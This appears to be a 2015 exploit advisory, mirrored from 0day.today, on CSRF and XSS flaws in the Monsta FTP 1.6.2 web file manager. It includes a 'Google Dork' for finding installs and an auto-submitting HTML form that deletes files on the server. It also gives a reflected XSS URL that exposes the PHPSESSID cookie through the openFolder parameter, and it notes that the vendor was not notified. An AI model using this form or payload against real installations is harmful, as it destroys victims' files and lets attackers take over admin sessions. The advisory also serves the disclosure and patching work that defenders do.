Monsta FTP 1.6.2 - Multiple Vulnerabilities

🗓️ 11 Sep 2015 00:00:00Reported by hyp3rlinxType

zdt🔗 0day.today👁 18 Views

Multiple vulnerabilities in Monsta FTP 1.6.2 allow CSRF exploits and XSS attacks via unsanitized inputs.

# Exploit Title: CSRF XSS Monsta FTP
# Google Dork: intitle: Monsta FTP CSRF / XSS
# Date: 2015-09-11
# Exploit Author:   hyp3rlinx
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: www.monstaftp.com
# Software Link:  www.monstaftp.com
# Version: monsta_ftp_v1.6.2
# Tested on: windows 7 SP1 XAMPP
# Category: WebApps
 
Vendor:
================================
www.monstaftp.com
 
Product:
================================
monsta_ftp_v1.6.2
Monsta FTP is open source PHP/Ajax cloudware browser based
FTP file management web application.
 
Vulnerability Type:
===================
CSRF / XSS
 

Vulnerability Details:
=====================
 
CSRF:
-----
No CSRF token exists when making some POST requests, allowing arbitrary
deletion of files on the monstaftp server dirs.
 
 
XSS:
----
 
Monstaftp sanitizes most $_GET requests with call to sanitizeStr() e.g -->
echo sanitizeStr($ftp_host),
However we find vulnerable code that is not santized on line 494 of
 index.php --->  echo $_GET["openFolder"];
creating an XSS entry point and will execute when victim accesses the
Monstaftp login page before logging in.
 
Exploit code(s):
===============
 
1) CSRF delete all server files
 
<body onLoad="doit()">
 
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
 
<form id="HELL"  action="http://localhost/monsta_ftp_v1.6.2_install/?"
method="post">
<input type="text" id="ftpAction"  name="ftpAction" value="delete"/>
<input type="text" id="folderAction[]"  name="folderAction[]" value=""/>
<input type="text" id="fileAction[]"  name="fileAction[]"
value="~%2FSOMEFILES_TO_DELETE.php"/>
</form>
 
2) XSS steal PHP session ID: e.g. "PHPSESSID=7lukgqaghuqihnbj3ikcrsc715"
 
Logout, then access the following URL before login and BOOOOOOM!.
http://localhost/monsta_ftp_v1.6.2_install/?openFolder="/><script>alert('XSS
by hyp3rlinx '%2bdocument.cookie)</script>
 
Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 11, 2015  : Public Disclosure

Description:
==========================================================
 
Request Method(s):              [+]  POST & GET
Vulnerable Product:             [+]  monsta_ftp_v1.6.2
Vulnerable Parameter(s):        [+] ftpAction, fileAction[], openFolder
Affected Area(s):               [+] FTP Admin Area

#  0day.today [2018-03-03]  #

11 Sep 2015 00:00Current

6.9Medium risk

Vulners AI Score6.9